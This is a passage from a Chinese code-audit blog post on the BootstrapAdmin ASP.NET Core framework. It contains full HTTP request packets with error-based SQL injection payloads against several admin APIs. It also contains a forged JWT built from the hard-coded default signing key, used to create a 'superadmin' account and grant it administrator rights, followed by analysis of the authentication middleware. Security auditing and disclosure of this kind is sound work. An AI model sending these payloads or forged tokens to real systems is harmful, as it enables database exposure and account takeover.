same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Logins Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\LoginUser.cs`  【后台】查询用户访问分页数据接口存在SQL注入 ----------------------- 权限:后台普通用户权限 ### 漏洞利用 `http://localhost:50852/api/Traces` `http://localhost:50852/api/Traces?offset=0&limit=20&OperateTimeStart=2023-05-06&OperateTimeEnd=&AccessIP=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,`  请求包: ```python GET /api/Traces?offset=0&limit=20&OperateTimeStart=2023-05-06&OperateTimeEnd=&AccessIP=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Traces Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Trace.cs`  【后台】查询程序异常接口存在SQL注入 ------------------- 权限:后台普通用户权限 ### 漏洞利用 `http://localhost:50852/api/Exceptions` `http://localhost:50852/api/Exceptions?&offset=0&limit=20&StartTime=&EndTime=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,`  请求包: ```python GET /api/Exceptions?&offset=0&limit=20&StartTime=&EndTime=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Exceptions Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Exceptions.cs`  【后台】删除用户接口存在SQL注入 ----------------- 权限:后台管理员用户权限 ### 漏洞利用 `http://localhost:50852/api/Users`  请求包: ```python DELETE /api/Users HTTP/1.1 Host: localhost:50852 Content-Length: 47 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Users Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ["updatexml(1,concat(0x7e,database(),0x7e),3)"] ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs`  【后台】删除角色表接口存在SQL注入 ------------------ 权限:后台管理员用户权限 ### 漏洞利用 `http://localhost:50852/api/Roles`  请求包: ```python DELETE /api/Roles HTTP/1.1 Host: localhost:50852 Content-Length: 47 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Roles Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ["updatexml(1,concat(0x7e,database(),0x7e),3)"] ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Role.cs`  【后台】删除群组信息存在SQL注入 ----------------- 权限:后台管理员用户权限 ### 漏洞利用 `http://localhost:50852/api/Groups`  请求包: ```python DELETE /api/Groups HTTP/1.1 Host: localhost:50852 Content-Length: 47 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Groups Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ["updatexml(1,concat(0x7e,database(),0x7e),3)"] ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Group.cs`  【后台】删除字典中的数据存在SQL注入 ------------------- 权限:后台管理员用户权限 ### 漏洞利用 `http://localhost:50852/api/Dicts`  请求包: ```python DELETE /api/Dicts HTTP/1.1 Host: localhost:50852 Content-Length: 47 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Dicts Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ["updatexml(1,concat(0x7e,database(),0x7e),3)"] ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Dict.cs`  【前台】任意JWT伪造 ----------- ### 漏洞利用 目前版本是不允许我们未授权访问该接口的(在旧版本是可以的),该接口用来查询当前用户情况。 `http://localhost:50852/api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683423761467`  默认的 SecurityKey 为 `BootstrapAdmin-V1.1` 我们可以到`https://jwt.io/`伪造Cookie,填入SecurityKey并修改Data里面的 exp(过期时间)即可。  ```python Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ ``` 请求时携带这个请求头再次访问即可获取用户信息,此时我们没有登录任何账户。  请求包: ```python GET /api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683423761467 HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Users Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ Connection: close ``` 使用同样的手法,创建用户  请求包: ```python POST /api/Users HTTP/1.1 Host: localhost:50852 Content-Length: 103 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Users Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Connection: close {"Id":"","UserName":"superadmin","Password":"123456","DisplayName":"superadmin","NewPassword":"123456"} ``` 再次请求就可以看到账户创建成功了。  然后给这个账户增加管理员权限,同样使用JWT验证。  请求包: ```python PUT /api/Users/9?type=role HTTP/1.1 Host: localhost:50852 Content-Length: 5 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Users Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ Cookie: Connection: close ["1"] ``` 这个时候我们使用账号`superadmin/123456`登录就是管理员用户了。  ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs` 在这个文件里添加了一个`UseBootstrapAdminAuthentication`的中间件,我们所有的请求会先进入到该中间件。  反编译`bootstrap.security.mvc\6.0.0\lib\net5.0\Bootstrap.Security.Mvc.dll` 跟进`AuthenticationExtensions`类,可以看到`UseBootstrapAdminAuthentication`方法  > 首先`builder.UseAuthentication();`启用身份验证中间件。在 ASP.NET Core 应用程序中,身份验证中间件处理身份验证和票据。它负责验证请求中的凭据并设置当前用户的身份。启用身份验证后,可以使用 HttpContext.User 属性访问当前用户的身份信息。通常会在 Configure 方法中调用 UseAuthentication(),以确保在请求管道中使用身份验证中间件。 > 其次`builder.Use`和`builder.UseWhen`都是 ASP.NET Core 应用程序中用于修改请求管道的方法,但是它们的使用场景有所不同。 > builder.Use 用于向请求管道中添加中间件。它可以将多个中间件串连在一起,按照添加的顺序一个接一个地处理请求,从而实现请求处理流程的定制。例如,在调用控制器方法之前可以添加一个身份验证中间件,以确保只有已经通过身份验证的用户才能访问受保护的资源。builder.Use 返回一个 IApplicationBuilder 实例,因此可以在一个 Configure 方法中多次调用 builder.Use,以添加所需的中间件。 > builder.UseWhen 则用于根据一定的条件向请求管道中添加中间件。它接受一个布尔表达式作为参数,只有当表达式的结果为 true 时才会添加中间件。这个功能在某些场景下很有用,例如,可以根据请求的路径来决定是否启用某个特定的中间件。builder.UseWhen 返回一个 IApplicationBuilder 实例,也可以嵌套在另一个 builder.UseWhen 中,以实现复杂的条件分支逻辑。 我们先查看特殊情况,也就是`builder.UseWhen`。这里的条件是请求路径中包含`/api`时会应用下面的中间件。 ```python app.Use(async delegate (HttpContext context, Func<Task> next) { IIdentity? identity = context.User.Identity; if (identity != null && !identity!.IsAuthenticated) { JwtAuthentication(context); } if ((context.User.Identity?.IsAuthenticated ?? false) && !string.IsNullOrEmpty(context.User.Identity!.Name)) { AddRoles(context.User, RetrieveRolesByUserName(context.User.Identity!.Name), new ClaimsIdentity("Bearer")); } await next(); }); ``` 当`identity`不存在时,即 Cookie 中的`.AspNetCore.Cookies`不存在时使用`JwtAuthentication`,我们继续跟进该方法。 `JwtAuthentication`在`AuthenticationExtensions`类。观察`ValidateToken`,这是JWT的验证方法,校验了三个参数,分别是签名密钥以及令牌的颁发者 Issuer 和 Audience。如果验证成功,则返回`ClaimsPrincipal`对象表示令牌中包含的声明。  需要校验的内容都在: `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\appsettings.json`  ```python "TokenValidateOption": { "Issuer": "BA", "Audience": "api", "Expires": 5, "SecurityKey": "BootstrapAdmin-V1.1" } ``` 我们得到了这些参数就可以进行JWT伪造了。 那么我们经过了`JwtAuthentication`此时`context.User`已经是`claimsPrincipal`对象了。第二个判断判断了用户是否已经认证(authenticated)以及用户的身份是否存在(name是否为空)。然后进入到`AddRoles`方法中去。  > ClaimsPrincipal 对象是 ASP.NET Core Identity 框架中用于表示用户上下文认证信息的对象。它包含了一个或多个 Claim,每个 Claim 包含了一些有关用户身份、角色或标识的信息。 这里添加了`role`以便后续的身份校验。其中的`roles`的值为 `RetrieveRolesByUserName(context.User.Identity!.Name)` 通过用户名查询对于的角色列表,然后通过遍历添加`Claim`。 那么什么时候会用到`role`呢?我们接着往下看。 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs` 在这个文件里给 Controllers 添加了BootstrapAdmin 后台权限认证过滤器  反编译`bootstrap.security.mvc\6.0.0\lib\net5.0\Bootstrap.Security.Mvc.dll` 跟进 `BootstrapAdminAuthorizeFilter`类可以看到`OnAuthorizationAsync`,这方个法适用于控制器和 Razor 页面等需要进行授权检查的请求。  > context.Request.Path 是一个属性,它返回一个 PathString 对象,代表请求 URL 的路径部分。PathString 对象是一个不可变类型,用于存储 URL 路径。PathString 的值形式如下所示: > `/Controller/Action/ID` > 其中,/Controller 是控制器的名称,/Action 是控制器的方法名,/ID 是可选的参数,用于标识要处理的特定资源。在 ASP.NET Core 应用程序中,PathString 对象用于匹配路由模板,以确定要执行哪个控制器方法。可以使用 context.Request.Path.ToString() 方法获取 PathString 对象的字符串表示形式,以便在日志或调试信息中使用。 这里做了两个判断: 1. 查询判断了当前请求是否需要进行授权检查。如果当前请求标记为允许匿名访问,或者是一个 Razor 页面并且该页面已配置为匿名,或者当前用户拥有 Administrators 角色,则该请求无需进行授权检查,并允许请求通过。 2. 通过调用 AuthenticationExtensions.RetrieveRolesByUrl 方法获取当前 URL 具有的角色集合,判断当前用户的角色是否是集合中的一个。 通过后即可访问控制器方法。 0x05 后语 ======= 在本篇文章中可以看到,我们注重了文件IO操作、SQL ORM操作、权限校验、XSS漏洞。 测试SQL注入时,ORM使用了PetaPoco并且运用了Linq对用户输入的内容进行转义,尽管使用`@0`方式很安全,但在`Order By`处不能转义。这是老生常谈了。开发人员没有针对性的过滤导致漏洞的产生。 测试XSS时,开发者使用了Razor Pages,在 Razor 视图中,默认情况下会进行 HTML 实体编码。可尽管严防死守,还是避免不了使用`@Url.Content`,没有针对`javascript:`这样的请求路径进行过滤。除此之外,还有在页面中使用`html(text)`函数输出的情况,只不过我测试时发现大部分无法有效利用,并且使用了`$.safeHtml()`函数所以仅列出了一个前台反射型XSS。 测试权限校验时显示观察了带有`[AllowAnonymous]`标签的类和方法,后面才是根据`Startup.cs`查看了过滤器和中间件,并根据开发者提供的 [Bootstrap.Security.Mvc](https://gitee.com/LongbowEnterprise/BootstrapAdmin/wikis/%E9%A1%B9%E7%9B%AE%E4%BE%9D%E8%B5%96/Bootstrap.Security.Mvc) 进行了审计。 总而言之,无论是使用什么语言开发都要按照标准进行,我们代码审计时更加需要细心和多一些耐心。
发表于 2023-05-18 09:00:02
阅读 ( 7871 )
分类:
代码审计
3 推荐
收藏
0 条评论
请先
登录
后评论
en0th
数码爱好者
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!